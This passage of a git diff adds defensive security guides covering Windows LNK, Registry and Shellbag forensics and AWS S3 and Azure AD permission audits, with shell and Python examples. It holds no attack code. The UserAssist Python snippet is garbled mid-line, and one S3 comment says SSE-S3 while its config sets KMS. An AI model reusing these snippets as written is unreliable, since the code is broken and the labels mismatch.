opened, correlate with email and communication timelines. + +## Output Format + +``` +LNK File Analysis Summary: + User Profile: suspect_user + Total LNK Files: 234 (Recent: 198, Desktop: 23, Startup: 5, Other: 8) + + File Access Statistics: + Local drive (C:): 156 files + Removable media: 23 files (3 unique volume serials) + Network shares: 15 files (\\server01, \\fileserver) + Other drives: 4 files + + Machine IDs Found: DESKTOP-ABC123, LAPTOP-XYZ789 + MAC Addresses: AA:BB:CC:DD:EE:FF, 11:22:33:44:55:66 + + Removable Media Access: + Volume Serial 1234-ABCD: + 2024-01-15 14:32 - E:\Confidential\financial_report.xlsx + 2024-01-15 14:45 - E:\Confidential\customer_database.csv + 2024-01-15 15:00 - E:\Projects\source_code.zip + + Startup Persistence: + updater.lnk -> C:\ProgramData\svc\updater.exe (SUSPICIOUS) + OneDrive.lnk -> C:\Users\...\OneDrive.exe (Legitimate) + + Timeline: /cases/case-2024-001/analysis/lnk_analysis.csv +``` diff --git a/skills/analyzing-windows-registry-for-artifacts/SKILL.md b/skills/analyzing-windows-registry-for-artifacts/SKILL.md new file mode 100644 index 00000000..6d543191 --- /dev/null +++ b/skills/analyzing-windows-registry-for-artifacts/SKILL.md @@ -0,0 +1,281 @@ +--- +name: analyzing-windows-registry-for-artifacts +description: Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise. +domain: cybersecurity +subdomain: digital-forensics +tags: [forensics, windows-registry, artifact-analysis, regripper, registry-explorer, evidence-collection] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing Windows Registry for Artifacts + +## When to Use +- When investigating user activity on a Windows system during an incident +- For identifying autorun/persistence mechanisms used by malware +- When tracing installed software, USB devices, and network connections +- During insider threat investigations to reconstruct user actions +- For correlating registry timestamps with other forensic artifacts + +## Prerequisites +- Forensic image or extracted registry hive files +- RegRipper, Registry Explorer (Eric Zimmerman), or python-registry +- Access to registry hive locations (SAM, SYSTEM, SOFTWARE, NTUSER.DAT, UsrClass.dat) +- Understanding of Windows Registry structure (hives, keys, values) +- SIFT Workstation or forensic analysis environment + +## Workflow + +### Step 1: Extract Registry Hives from the Forensic Image + +```bash +# Mount the forensic image read-only +mkdir /mnt/evidence +mount -o ro,loop,offset=$((2048*512)) /cases/case-2024-001/images/evidence.dd /mnt/evidence + +# Copy system registry hives +cp /mnt/evidence/Windows/System32/config/SAM /cases/case-2024-001/registry/ +cp /mnt/evidence/Windows/System32/config/SYSTEM /cases/case-2024-001/registry/ +cp /mnt/evidence/Windows/System32/config/SOFTWARE /cases/case-2024-001/registry/ +cp /mnt/evidence/Windows/System32/config/SECURITY /cases/case-2024-001/registry/ +cp /mnt/evidence/Windows/System32/config/DEFAULT /cases/case-2024-001/registry/ + +# Copy user-specific hives +cp /mnt/evidence/Users/*/NTUSER.DAT /cases/case-2024-001/registry/ +cp /mnt/evidence/Users/*/AppData/Local/Microsoft/Windows/UsrClass.dat /cases/case-2024-001/registry/ + +# Copy transaction logs (for dirty hive recovery) +cp /mnt/evidence/Windows/System32/config/*.LOG* /cases/case-2024-001/registry/logs/ + +# Hash all extracted hives +sha256sum /cases/case-2024-001/registry/* > /cases/case-2024-001/registry/hive_hashes.txt +``` + +### Step 2: Analyze with RegRipper for Automated Artifact Extraction + +```bash +# Install RegRipper +git clone https://github.com/keydet89/RegRipper3.0.git /opt/regripper + +# Run RegRipper against NTUSER.DAT (user profile) +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/NTUSER.DAT \ + -f ntuser > /cases/case-2024-001/analysis/ntuser_report.txt + +# Run against SYSTEM hive +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/SYSTEM \ + -f system > /cases/case-2024-001/analysis/system_report.txt + +# Run against SOFTWARE hive +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/SOFTWARE \ + -f software > /cases/case-2024-001/analysis/software_report.txt + +# Run against SAM hive (user accounts) +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/SAM \ + -f sam > /cases/case-2024-001/analysis/sam_report.txt + +# Run specific plugins +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/NTUSER.DAT \ + -p userassist > /cases/case-2024-001/analysis/userassist.txt + +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/SYSTEM \ + -p usbstor > /cases/case-2024-001/analysis/usbstor.txt +``` + +### Step 3: Extract Persistence and Autorun Entries + +```bash +# Using python-registry for targeted extraction +pip install python-registry + +python3 << 'PYEOF' +from Registry import Registry + +# Open SOFTWARE hive +reg = Registry.Registry("/cases/case-2024-001/registry/SOFTWARE") + +# Check Run keys (autostart) +autorun_paths = [ + "Microsoft\\Windows\\CurrentVersion\\Run", + "Microsoft\\Windows\\CurrentVersion\\RunOnce", + "Microsoft\\Windows\\CurrentVersion\\RunServices", + "Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run", + "Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run" +] + +for path in autorun_paths: + try: + key = reg.open(path) + print(f"\n=== {path} (Last Modified: {key.timestamp()}) ===") + for value in key.values(): + print(f" {value.name()}: {value.value()}") + except Registry.RegistryKeyNotFoundException: + pass + +# Check installed services +key = reg.open("Microsoft\\Windows NT\\CurrentVersion\\Svchost") +print(f"\n=== Svchost Groups ===") +for value in key.values(): + print(f" {value.name()}: {value.value()}") +PYEOF + +# Check NTUSER.DAT for user-specific autorun +python3 << 'PYEOF' +from Registry import Registry + +reg = Registry.Registry("/cases/case-2024-001/registry/NTUSER.DAT") + +user_autorun = [ + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", + "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", + "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run" +] + +for path in user_autorun: + try: + key = reg.open(path) + print(f"\n=== {path} (Last Modified: {key.timestamp()}) ===") + for value in key.values(): + print(f" {value.name()}: {value.value()}") + except Registry.RegistryKeyNotFoundException: + pass +PYEOF +``` + +### Step 4: Analyze User Activity Artifacts + +```bash +# Extract UserAssist data (program execution history with ROT13 encoding) +python3 << 'PYEOF' +from Registry import Registry +import codecs, struct, datetime + +reg = Registry.Registry("/cases/case-2024-001/registry/NTUSER.DAT") + +ua_path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist" +key = reg.open(ua_path) + +for guid_key in key.subkeys(): + count_key = guid_key.subkey("Count") + print(f"\n=== {guid_key.name()} ===") + for value in count_key.values(): + decoded_name = codecs.decode(value.name(), 'rot_13') + data = value.value() + if len(data) >= 16: + run_count = struct.unpack('= 68 else 0 + if timestamp > 0: + ts = datetime.datetime(1601,1,1) + datetime.timedelta(microseconds=timestamp//10) + print(f" {decoded_name}: Runs={run_count}, Focus={focus_count}, Last={ts}") + else: + print(f" {decoded_name}: Runs={run_count}, Focus={focus_count}") +PYEOF + +# Extract Recent Documents (MRU lists) +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/NTUSER.DAT \ + -p recentdocs > /cases/case-2024-001/analysis/recentdocs.txt + +# Extract typed URLs (browser) +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/NTUSER.DAT \ + -p typedurls > /cases/case-2024-001/analysis/typedurls.txt + +# Extract typed paths in Explorer +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/NTUSER.DAT \ + -p typedpaths > /cases/case-2024-001/analysis/typedpaths.txt +``` + +### Step 5: Extract System and Network Information + +```bash +# Computer name and OS version from SYSTEM hive +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/SYSTEM \ + -p compname > /cases/case-2024-001/analysis/system_info.txt + +# Network interfaces and configuration +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/SYSTEM \ + -p nic2 >> /cases/case-2024-001/analysis/system_info.txt + +# Wireless network history +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/SOFTWARE \ + -p networklist > /cases/case-2024-001/analysis/network_history.txt + +# Timezone configuration +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/SYSTEM \ + -p timezone > /cases/case-2024-001/analysis/timezone.txt + +# Shutdown time +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/SYSTEM \ + -p shutdown > /cases/case-2024-001/analysis/shutdown.txt + +# Installed software from Uninstall keys +perl /opt/regripper/rip.pl -r /cases/case-2024-001/registry/SOFTWARE \ + -p uninstall > /cases/case-2024-001/analysis/installed_software.txt +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| Registry hive | Binary file storing a section of the registry (SAM, SYSTEM, SOFTWARE, NTUSER.DAT) | +| MRU (Most Recently Used) | Lists tracking recently accessed files, commands, and search terms | +| UserAssist | ROT13-encoded registry entries tracking program execution with timestamps | +| ShimCache | Application compatibility cache recording executed programs | +| AmCache | Detailed execution history including SHA-1 hashes of executables | +| BAM/DAM | Background/Desktop Activity Moderator tracking program execution in Win10+ | +| Last Write Time | Timestamp on registry keys indicating when they were last modified | +| Transaction logs | Journal files allowing recovery of registry state after improper shutdown | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| RegRipper | Automated registry artifact extraction with plugin architecture | +| Registry Explorer | Eric Zimmerman GUI tool for interactive registry analysis | +| python-registry | Python library for programmatic registry hive parsing | +| RECmd | Eric Zimmerman command-line registry analysis tool | +| yarp | Yet Another Registry Parser for Python-based analysis | +| AppCompatCacheParser | Dedicated ShimCache/AppCompatCache parser | +| AmcacheParser | Dedicated AmCache.hve analysis tool | +| ShellBags Explorer | Specialized tool for analyzing ShellBag artifacts | + +## Common Scenarios + +**Scenario 1: Malware Persistence Investigation** +Extract SOFTWARE and NTUSER.DAT hives, check all Run/RunOnce keys for unauthorized entries, examine services for suspicious additions, check scheduled tasks registry keys, correlate autorun timestamps with malware execution timeline. + +**Scenario 2: User Activity Reconstruction** +Analyze UserAssist for program execution history, examine RecentDocs for accessed files, check TypedPaths for Explorer navigation, extract ShellBags for folder access patterns, build a timeline of user activity around the incident window. + +**Scenario 3: Unauthorized Software Detection** +Parse Uninstall keys for all installed applications, compare against approved software baseline, check BAM/DAM for recently executed programs not in approved list, examine AppCompatCache for execution evidence even after uninstallation. + +**Scenario 4: USB Data Exfiltration Investigation** +Extract USBSTOR entries from SYSTEM hive for connected devices, correlate device serial numbers with MountedDevices, check NTUSER.DAT MountPoints2 for user access to removable media, examine SetupAPI logs for first-connection timestamps. + +## Output Format + +``` +Registry Analysis Summary: + System: DESKTOP-ABC123 (Windows 10 Pro Build 19041) + Timezone: Eastern Standard Time (UTC-5) + Last Shutdown: 2024-01-18 23:45:12 UTC + + Autorun Entries: + HKLM Run: 5 entries (1 suspicious: "updater.exe" -> C:\ProgramData\svc\updater.exe) + HKCU Run: 3 entries (all legitimate) + Services: 142 entries (2 unknown: "WinDefSvc", "SysMonAgent") + + User Activity (NTUSER.DAT): + UserAssist Programs: 234 entries + Recent Documents: 89 entries + Typed URLs: 45 entries + Typed Paths: 12 entries + + USB Devices Connected: + - Kingston DataTraveler (Serial: 0019E06B4521) - First: 2024-01-10, Last: 2024-01-18 + - WD My Passport (Serial: 575834314131) - First: 2024-01-15, Last: 2024-01-15 + + Installed Software: 127 applications + Suspicious Findings: 3 items flagged for review +``` diff --git a/skills/analyzing-windows-shellbag-artifacts/SKILL.md b/skills/analyzing-windows-shellbag-artifacts/SKILL.md new file mode 100644 index 00000000..ef4f7b12 --- /dev/null +++ b/skills/analyzing-windows-shellbag-artifacts/SKILL.md @@ -0,0 +1,128 @@ +--- +name: analyzing-windows-shellbag-artifacts +description: Analyze Windows Shellbag registry artifacts to reconstruct folder browsing activity, detect access to removable media and network shares, and establish user interaction with directories even after deletion using SBECmd and ShellBags Explorer. +domain: cybersecurity +subdomain: digital-forensics +tags: [shellbags, windows-registry, sbecmd, shellbags-explorer, folder-access, user-activity, removable-media, network-shares, bagmru, dfir] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing Windows Shellbag Artifacts + +## Overview + +Shellbags are Windows registry artifacts that track how users interact with folders through Windows Explorer, storing view settings such as icon size, window position, sort order, and view mode. From a forensic perspective, Shellbags provide definitive evidence of folder access -- even folders that no longer exist on the system. When a user browses to a folder via Windows Explorer, the Open/Save dialog, or the Control Panel, a Shellbag entry is created or updated in the user's registry hive. These entries persist after folder deletion, drive disconnection, and even across user profile resets, making them invaluable for proving that a user navigated to specific directories on local drives, USB devices, network shares, or zip archives. + +## Registry Locations + +### Windows 7/8/10/11 + +| Hive | Key Path | Stores | +|------|---------|--------| +| NTUSER.DAT | Software\Microsoft\Windows\Shell\BagMRU | Folder hierarchy tree | +| NTUSER.DAT | Software\Microsoft\Windows\Shell\Bags | View settings per folder | +| UsrClass.dat | Local Settings\Software\Microsoft\Windows\Shell\BagMRU | Desktop/Explorer shell | +| UsrClass.dat | Local Settings\Software\Microsoft\Windows\Shell\Bags | Additional view settings | + +### BagMRU Structure + +The BagMRU key contains a hierarchical tree of numbered subkeys representing the directory structure. Each subkey value contains a Shell Item (SHITEMID) binary blob encoding the folder identity: + +- **Root (BagMRU)**: Desktop namespace root +- **BagMRU\0**: Typically "My Computer" +- **BagMRU\0\0**: First drive (e.g., C:) +- **BagMRU\0\0\0**: First subfolder on C: + +Each Shell Item contains: +- Item type (folder, drive, network, zip, control panel) +- Short name (8.3 format) +- Long name (Unicode) +- Creation/modification timestamps +- MFT entry/sequence for NTFS folders + +## Analysis with EZ Tools + +### SBECmd (Command Line) + +```powershell +# Parse shellbags from a directory of registry hives +SBECmd.exe -d "C:\Evidence\Registry" --csv C:\Output --csvf shellbags.csv + +# Parse from a live system (requires admin) +SBECmd.exe --live --csv C:\Output --csvf live_shellbags.csv + +# Key output columns: +# AbsolutePath - Full reconstructed path +# CreatedOn - When the folder was first browsed +# ModifiedOn - When view settings were last changed +# AccessedOn - Last access timestamp +# ShellType - Type of shell item (Directory, Drive, Network, etc.) +# Value - Raw shell item data +``` + +### ShellBags Explorer (GUI) + +```powershell +# Launch GUI tool for interactive analysis +ShellBagsExplorer.exe + +# Load registry hives: File > Load Hive +# Navigate the tree structure to see folder hierarchy +# Right-click entries for detailed shell item properties +``` + +## Forensic Investigation Scenarios + +### Proving USB Device Browsing + +``` +Shellbag Path: My Computer\E:\Confidential\Project_Files +ShellType: Directory (on removable volume) +CreatedOn: 2025-03-15 09:30:00 UTC + +This proves the user navigated to E:\Confidential\Project_Files +via Windows Explorer, even if the USB drive is no longer connected. +The volume letter E: and directory timestamps can be correlated +with USBSTOR and MountPoints2 registry entries. +``` + +### Detecting Network Share Access + +``` +Shellbag Path: \\FileServer01\Finance\Q4_Reports +ShellType: Network Location +AccessedOn: 2025-02-20 14:15:00 UTC + +This proves the user browsed to a network share, even if +the share has been decommissioned or access revoked. +``` + +### Identifying Deleted Folder Knowledge + +``` +Shellbag Path: C:\Users\suspect\Documents\Exfiltration_Staging +ShellType: Directory +CreatedOn: 2025-01-10 08:00:00 UTC + +Even though C:\Users\suspect\Documents\Exfiltration_Staging +no longer exists, the Shellbag entry proves the user +created and navigated to this folder. +``` + +## Limitations + +- Shellbags only record folder-level interactions, not individual file access +- Only created through Windows Explorer shell and Open/Save dialogs +- Command-line access (cmd, PowerShell) does not generate Shellbag entries +- Programmatic file access via APIs does not generate Shellbag entries +- Timestamps may reflect view setting changes, not necessarily folder access +- Windows may batch-update Shellbag entries during Explorer shutdown + +## References + +- Shellbags Forensic Analysis 2025: https://www.cybertriage.com/blog/shellbags-forensic-analysis-2025/ +- SANS Shellbag Forensics: https://www.sans.org/blog/computer-forensic-artifacts-windows-7-shellbags +- Magnet Forensics Shellbag Analysis: https://www.magnetforensics.com/blog/forensic-analysis-of-windows-shellbags/ +- ShellBags Explorer: https://ericzimmerman.github.io/ diff --git a/skills/analyzing-windows-shellbag-artifacts/assets/template.md b/skills/analyzing-windows-shellbag-artifacts/assets/template.md new file mode 100644 index 00000000..374396ae --- /dev/null +++ b/skills/analyzing-windows-shellbag-artifacts/assets/template.md @@ -0,0 +1,18 @@ +# Shellbag Analysis Report +## Case Info +| Field | Value | +|-------|-------| +| Case Number | | +| Examiner | | +## Folder Access Summary +| Path | Shell Type | Created | Modified | +|------|-----------|---------|----------| +| | | | | +## USB Device Access +| Path | First Access | Last Access | +|------|-------------|------------| +| | | | +## Network Share Access +| UNC Path | Access Time | +|----------|------------| +| | | diff --git a/skills/analyzing-windows-shellbag-artifacts/references/standards.md b/skills/analyzing-windows-shellbag-artifacts/references/standards.md new file mode 100644 index 00000000..b967b292 --- /dev/null +++ b/skills/analyzing-windows-shellbag-artifacts/references/standards.md @@ -0,0 +1,14 @@ +# Standards - Shellbag Forensics +## Standards +- NIST SP 800-86: Guide to Integrating Forensic Techniques +- SWGDE Best Practices for Computer Forensics +## Tools +- SBECmd (Eric Zimmerman): Command-line shellbag parser +- ShellBags Explorer (Eric Zimmerman): GUI shellbag viewer +- Registry Explorer (Eric Zimmerman): Registry hive analysis +## Registry Locations +- NTUSER.DAT: Software\Microsoft\Windows\Shell\BagMRU and Bags +- UsrClass.dat: Local Settings\Software\Microsoft\Windows\Shell\BagMRU and Bags +## MITRE ATT&CK +- T1083 - File and Directory Discovery +- T1005 - Data from Local System diff --git a/skills/analyzing-windows-shellbag-artifacts/references/workflows.md b/skills/analyzing-windows-shellbag-artifacts/references/workflows.md new file mode 100644 index 00000000..edcde28a --- /dev/null +++ b/skills/analyzing-windows-shellbag-artifacts/references/workflows.md @@ -0,0 +1,15 @@ +# Workflows - Shellbag Analysis +## Workflow 1: Folder Access Investigation +``` +Extract NTUSER.DAT and UsrClass.dat from evidence + | +Parse with SBECmd to CSV + | +Open in Timeline Explorer + | +Filter by path patterns (USB drives, network shares) + | +Correlate with MFT and LNK file timestamps + | +Document folder access timeline +``` diff --git a/skills/analyzing-windows-shellbag-artifacts/scripts/process.py b/skills/analyzing-windows-shellbag-artifacts/scripts/process.py new file mode 100644 index 00000000..4a0b06db --- /dev/null +++ b/skills/analyzing-windows-shellbag-artifacts/scripts/process.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 +"""Shellbag Forensic Analyzer - Parses SBECmd CSV output for investigation.""" +import csv, json, os, sys +from datetime import datetime +from collections import defaultdict + +def analyze_shellbags(csv_path: str, output_dir: str) -> str: + os.makedirs(output_dir, exist_ok=True) + entries = [] + usb_access = [] + network_access = [] + with open(csv_path, "r", encoding="utf-8-sig") as f: + for row in csv.DictReader(f): + entries.append(row) + path = row.get("AbsolutePath", "") + if any(d in path for d in ["E:\\", "F:\\", "G:\\", "H:\\"]): + usb_access.append(row) + if path.startswith("\\\\"): + network_access.append(row) + report = { + "analysis_timestamp": datetime.now().isoformat(), + "total_entries": len(entries), + "usb_access_entries": len(usb_access), + "network_access_entries": len(network_access), + "usb_paths": [r.get("AbsolutePath", "") for r in usb_access], + "network_paths": [r.get("AbsolutePath", "") for r in network_access], + } + report_path = os.path.join(output_dir, "shellbag_analysis.json") + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Total entries: {len(entries)}, USB: {len(usb_access)}, Network: {len(network_access)}") + return report_path + +if __name__ == "__main__": + if len(sys.argv) < 3: + print("Usage: python process.py ") + sys.exit(1) + analyze_shellbags(sys.argv[1], sys.argv[2]) diff --git a/skills/auditing-aws-s3-bucket-permissions/SKILL.md b/skills/auditing-aws-s3-bucket-permissions/SKILL.md new file mode 100644 index 00000000..dd405125 --- /dev/null +++ b/skills/auditing-aws-s3-bucket-permissions/SKILL.md @@ -0,0 +1,255 @@ +--- +name: auditing-aws-s3-bucket-permissions +description: > + Systematically audit AWS S3 bucket permissions to identify publicly accessible buckets, + overly permissive ACLs, misconfigured bucket policies, and missing encryption settings + using AWS CLI, S3audit, and Prowler to enforce least-privilege data access controls. +domain: cybersecurity +subdomain: cloud-security +tags: [cloud-security, aws, s3, bucket-permissions, data-protection, access-control] +version: "1.0" +author: mahipal +license: MIT +--- + +# Auditing AWS S3 Bucket Permissions + +## When to Use + +- When conducting a security assessment of AWS environments to identify publicly exposed data +- When onboarding a new AWS account and establishing a security baseline for storage resources +- When responding to an alert about potential S3 data exposure from AWS Trusted Advisor or Security Hub +- When compliance frameworks (SOC 2, PCI DSS, HIPAA) require periodic review of data access controls +- When a breach or credential compromise necessitates immediate review of all accessible S3 resources + +**Do not use** for auditing non-AWS object storage (use provider-specific tools), for real-time monitoring (use S3 Event Notifications with Lambda), or for auditing S3 access patterns (use S3 Access Analyzer or CloudTrail S3 data events). + +## Prerequisites + +- AWS CLI v2 configured with credentials that have `s3:GetBucketPolicy`, `s3:GetBucketAcl`, `s3:GetBucketPublicAccessBlock`, `s3:GetEncryptionConfiguration`, and `s3:ListAllMyBuckets` permissions +- Prowler installed (`pip install prowler`) for automated CIS benchmark checks +- S3audit or similar enumeration tool for quick public bucket detection +- Access to AWS Organizations if auditing across multiple accounts +- Python 3.8+ with boto3 for custom audit scripts + +## Workflow + +### Step 1: Enumerate All S3 Buckets and Account-Level Block Public Access + +Check the account-level S3 Block Public Access settings first, then list all buckets with their regions. + +```bash +# Check account-level S3 Block Public Access settings +aws s3control get-public-access-block \ + --account-id $(aws sts get-caller-identity --query Account --output text) \ + --output json + +# List all buckets with creation dates +aws s3api list-buckets \ + --query 'Buckets[*].[Name,CreationDate]' \ + --output table + +# Get bucket regions for each bucket +for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do + region=$(aws s3api get-bucket-location --bucket "$bucket" --query 'LocationConstraint' --output text) + echo "$bucket -> ${region:-us-east-1}" +done +``` + +### Step 2: Check Each Bucket's Public Access Block and ACL Configuration + +Iterate through all buckets to evaluate their individual public access blocks and ACL grants. + +```bash +# Check per-bucket Block Public Access settings +for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do + echo "=== $bucket ===" + aws s3api get-public-access-block --bucket "$bucket" 2>/dev/null || echo " No Block Public Access configured" + + # Check ACL for public grants + aws s3api get-bucket-acl --bucket "$bucket" \ + --query 'Grants[?Grantee.URI==`http://acs.amazonaws.com/groups/global/AllUsers` || Grantee.URI==`http://acs.amazonaws.com/groups/global/AuthenticatedUsers`]' \ + --output json +done +``` + +### Step 3: Analyze Bucket Policies for Overly Permissive Access + +Review bucket policies for wildcard principals, missing conditions, and statements that allow broad access. + +```bash +# Extract and analyze bucket policies +for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do + policy=$(aws s3api get-bucket-policy --bucket "$bucket" --output text 2>/dev/null) + if [ -n "$policy" ]; then + echo "=== $bucket policy ===" + echo "$policy" | python3 -c " +import json, sys +policy = json.load(sys.stdin) +for stmt in policy.get('Statement', []): + principal = stmt.get('Principal', {}) + effect = stmt.get('Effect', '') + if principal == '*' or principal == {'AWS': '*'}: + print(f' WARNING: {effect} with wildcard principal') + print(f' Actions: {stmt.get(\"Action\", \"\")}') + print(f' Condition: {stmt.get(\"Condition\", \"NONE\")}') +" + fi +done +``` + +### Step 4: Verify Encryption and Versioning Settings + +Check that all buckets have server-side encryption enabled and versioning configured for data protection. + +```bash +# Check encryption and versioning status for all buckets +for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do + echo "=== $bucket ===" + + # Encryption configuration + aws s3api get-bucket-encryption --bucket "$bucket" 2>/dev/null \ + && echo " Encryption: ENABLED" \ + || echo " Encryption: DISABLED" + + # Versioning status + aws s3api get-bucket-versioning --bucket "$bucket" \ + --query 'Status' --output text + + # Logging status + aws s3api get-bucket-logging --bucket "$bucket" \ + --query 'LoggingEnabled' --output text 2>/dev/null +done +``` + +### Step 5: Run Prowler S3-Specific Checks + +Execute Prowler's S3-focused checks aligned with CIS AWS Foundations Benchmark. + +```bash +# Run Prowler S3-specific checks +prowler aws \ + --checks s3_bucket_public_access \ + s3_bucket_default_encryption \ + s3_bucket_policy_public_write_access \ + s3_bucket_server_access_logging_enabled \ + s3_bucket_versioning_enabled \ + s3_bucket_acl_prohibited \ + -M json-ocsf \ + -o ./prowler-s3-audit/ + +# View summary +prowler aws --checks s3 -M csv -o ./prowler-s3-audit/ +``` + +### Step 6: Use IAM Access Analyzer for S3 Public and Cross-Account Findings + +Leverage IAM Access Analyzer to identify buckets shared externally or publicly. + +```bash +# List Access Analyzer findings for S3 +aws accessanalyzer list-findings \ + --analyzer-arn $(aws accessanalyzer list-analyzers --query 'analyzers[0].arn' --output text) \ + --filter '{"resourceType": {"eq": ["AWS::S3::Bucket"]}}' \ + --query 'findings[*].[resource,status,condition,principal]' \ + --output table + +# Create an analyzer if one does not exist +aws accessanalyzer create-analyzer \ + --analyzer-name s3-access-audit \ + --type ACCOUNT +``` + +### Step 7: Generate Audit Report and Remediate + +Compile findings into an actionable report and apply remediation for critical issues. + +```bash +# Quick remediation: Enable Block Public Access on a bucket +aws s3api put-public-access-block \ + --bucket TARGET_BUCKET \ + --public-access-block-configuration \ + 'BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true' + +# Enable default encryption with SSE-S3 +aws s3api put-bucket-encryption \ + --bucket TARGET_BUCKET \ + --server-side-encryption-configuration \ + '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"aws:kms","KMSMasterKeyID":"alias/aws/s3"},"BucketKeyEnabled":true}]}' + +# Enable versioning +aws s3api put-bucket-versioning \ + --bucket TARGET_BUCKET \ + --versioning-configuration Status=Enabled +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| S3 Block Public Access | Account-level and bucket-level settings that override ACLs and policies to prevent public access regardless of individual resource configurations | +| Bucket Policy | JSON-based resource policy attached to a bucket that defines who can access the bucket and what actions they can perform | +| ACL (Access Control List) | Legacy S3 access control mechanism granting permissions to AWS accounts or predefined groups like AllUsers or AuthenticatedUsers | +| IAM Access Analyzer | AWS service that analyzes resource policies to identify resources shared with external entities or the public | +| Server-Side Encryption | Encryption applied by S3 at the object level using SSE-S3, SSE-KMS, or SSE-C before writing data to disk | +| CIS AWS Foundations Benchmark | Security best practice standard from Center for Internet Security with specific controls for S3 bucket configuration | + +## Tools & Systems + +- **AWS CLI**: Primary interface for querying S3 bucket configurations, policies, ACLs, and encryption settings +- **Prowler**: Open-source security tool with 50+ S3-specific checks aligned to CIS, PCI DSS, and HIPAA controls +- **IAM Access Analyzer**: AWS-native service for continuous monitoring of resource policies that grant external access +- **S3audit**: Lightweight tool for quick enumeration of public S3 buckets across an account +- **ScoutSuite**: Multi-cloud auditing tool that collects S3 configuration data and generates risk-scored HTML reports + +## Common Scenarios + +### Scenario: Identifying a Publicly Readable Bucket Containing Customer Data + +**Context**: A security engineer receives a Trusted Advisor alert about a publicly accessible S3 bucket. The bucket was created by a development team for a demo and was never locked down. + +**Approach**: +1. Run `aws s3api get-bucket-acl` and find a grant to `AllUsers` with `READ` permission +2. Check `get-bucket-policy` and discover a policy with `Principal: "*"` and `s3:GetObject` +3. Confirm Block Public Access is not enabled at the bucket or account level +4. Enumerate bucket contents to assess data sensitivity +5. Immediately enable Block Public Access on the bucket +6. Review CloudTrail S3 data events to determine if unauthorized access occurred +7. Report the finding with timeline, data inventory, and remediation confirmation + +**Pitfalls**: Enabling Block Public Access can break applications that intentionally serve content publicly (static websites). Always verify the bucket's intended use before applying restrictions. Check for CloudFront distributions or other services relying on the bucket's public access. + +## Output Format + +``` +S3 Bucket Permissions Audit Report +===================================== +Account: 123456789012 (Production) +Date: 2026-02-23 +Auditor: Security Engineering Team +Total Buckets: 47 + +ACCOUNT-LEVEL SETTINGS: + Block Public Access: ENABLED (all four settings) + +CRITICAL FINDINGS: +[S3-001] Public Read Access via ACL + Bucket: marketing-assets-prod + Issue: AllUsers group granted READ permission via ACL + Risk: Any internet user can list and download bucket contents + Data Sensitivity: Contains customer-facing but non-sensitive marketing assets + Remediation: Remove AllUsers ACL grant, enable Block Public Access + +[S3-002] Wildcard Principal in Bucket Policy + Bucket: data-exchange-partner + Issue: Policy allows s3:GetObject with Principal "*" and no VPC/IP condition + Risk: Intended for partner access but accessible to anyone with the bucket name + Remediation: Add aws:SourceVpce or aws:SourceIp condition to restrict access + +SUMMARY: + Buckets with public access: 3 / 47 + Buckets without encryption: 5 / 47 + Buckets without versioning: 12 / 47 + Buckets without access logging: 18 / 47 + Buckets with overly broad policies: 7 / 47 +``` diff --git a/skills/auditing-azure-active-directory-configuration/SKILL.md b/skills/auditing-azure-active-directory-configuration/SKILL.md new file mode 100644 index 00000000..64d3ddf3 --- /dev/null +++ b/skills/auditing-azure-active-directory-configuration/SKILL.md @@ -0,0 +1,256 @@ +--- +name: auditing-azure-active-directory-configuration +description: > + Auditing Microsoft Entra ID (Azure Active Directory) configuration to identify risky + authentication policies, overly permissive role assignments, stale accounts, conditional + access gaps, and guest user risks using AzureAD PowerShell, Microsoft Graph API, and ScoutSuite. +domain: cybersecurity +subdomain: cloud-security +tags: [cloud-security, azure, entra-id, active-directory, iam-audit, conditional-access] +version: "1.0" +author: mahipal +license: MIT +--- + +# Auditing Azure Active Directory Configuration + +## When to Use + +- When performing a security assessment of an Azure tenant's identity configuration +- When compliance audits require review of authentication policies, MFA enforcement, and role assignments +- When onboarding a new Azure tenant after merger or acquisition +- When investigating suspicious sign-in activity or compromised accounts +- When validating conditional access policies adequately protect against identity-based attacks + +**Do not use** for on-premises Active Directory auditing (use PingCastle or BloodHound AD), for Azure resource-level RBAC auditing without identity context, or for real-time threat detection (use Microsoft Defender for Identity). + +## Prerequisites + +- Global Reader or Security Reader role in the target Microsoft Entra ID tenant +- Microsoft Graph PowerShell SDK installed (`Install-Module Microsoft.Graph`) +- Az CLI authenticated to the target tenant (`az login --tenant TENANT_ID`) +- ScoutSuite with Azure provider configured for automated assessment +- Access to Azure AD audit logs and sign-in logs (requires Azure AD Premium P1/P2) + +## Workflow + +### Step 1: Enumerate 